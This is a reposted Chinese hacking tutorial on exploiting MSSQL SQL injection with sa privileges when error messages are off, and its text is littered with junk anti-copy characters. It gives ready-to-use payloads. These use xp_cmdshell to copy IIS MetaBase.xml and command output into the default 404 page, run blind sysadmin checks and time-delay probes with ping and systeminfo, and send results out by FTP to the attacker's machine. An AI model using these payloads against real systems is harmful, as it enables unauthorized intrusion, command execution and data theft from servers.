遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。
( p$ P% M8 h6 y! n( C
$ ^0 G% c! }' K& j* Z. ^ 虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
3 L# `$ S( r& v4 i$ W- @2 u. ?1 H* k
这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
6 W7 |7 e6 v; D/ f7 R2 H
8 n# |; _) ^+ H4 h! D r8 K4 o IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
# I; l g6 |. A6 G9 K6 N3 d S; ~- r/ v4 X' j8 h
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
' a3 b' f( O4 i
; S- Q; r# a. Y% I3 T ,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。$ u! O; P% \( v) }1 y% s7 ?& v
8 c& `- f: U% E7 V6 E+ s 执行命令得到回显
( O" C* p, e! v6 U' w$ v
4 Y% c8 V! T* ~/ W" F% y 通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--* I* g4 G2 M1 ^& B
8 W, V2 Z1 e0 i x 得到文件也shi相同,把文件copy到404b.htm就行了
: Z" v% n* e3 e7 F6 i& y
& f9 y6 y6 D! V5 ^: q& D3 l by 28ice, 2008/6/269 p9 j/ Z: d5 n2 O3 v# e
: t. P9 v8 }+ _$ o8 @
摘自 28度的冰6 I t, G% o- B3 S0 ^
3 t) c6 [4 A5 H3 d 盲注判断权限和操作系统版本. T+ l; L2 x; z J# ` x+ x
+ v$ G7 `0 Y; T: ?8 E/ D* I2 Y
首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
8 ] M4 Z' i1 S9 s' h* }4 o
& q' B: a5 w" [# { 最简单的,可能以用这样的方法:9 k0 H) G' i( p. J% S( a
1 Y2 a, `! W' L! H `; x; j* W 1=(select IS_SRVROLEMEMBER(’sysadmin’))
$ q; b) i* w9 T, W1 _ q6 `( E$ g" \) i9 `
当然,有些情况下,这个方法并不奏效。& n4 I* a; R: G! @
9 F+ r# I- g- h3 |, R% M/ p7 l( Y 既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。
1 D% y ^; r @+ z0 l9 L1 S3 ]1 I* a1 M2 C3 I# O
有个3办法可能以解决这个问题
4 M5 u' k: i9 M: W ^! R# n' K7 l2 y, e O r. L
a.把执行结果写到404b.htm,具体请看我的上一篇文章
/ r# T D+ O: m0 [- ]0 a) e! R* y8 S; Q9 \
b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟
' c. ^/ w; N- f
4 ~' A$ M7 w* S5 W c.如果1433端口可能以连接,那干脆新建个sql登录
/ X+ w5 |' G: _* d# y# k0 {
9 O1 w' v% b! l/ F+ z3 J9 }5 x d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数
' l: E; i. I! w* x+ n4 `/ r; @: P" w4 M T/ q5 y# t
还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
) T4 N2 G7 P, _# m0 m5 b- r
3 I5 F# `. M# c9 \1 y; \ 很简单
% w! K1 m0 p; P" x( g& Q. k+ |% N" G+ N6 E7 W9 s% y+ ?: [/ I
执行systeminfo/ D6 J8 R4 B* i
; |8 l- [( G6 n( a1 G" _( P' q 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |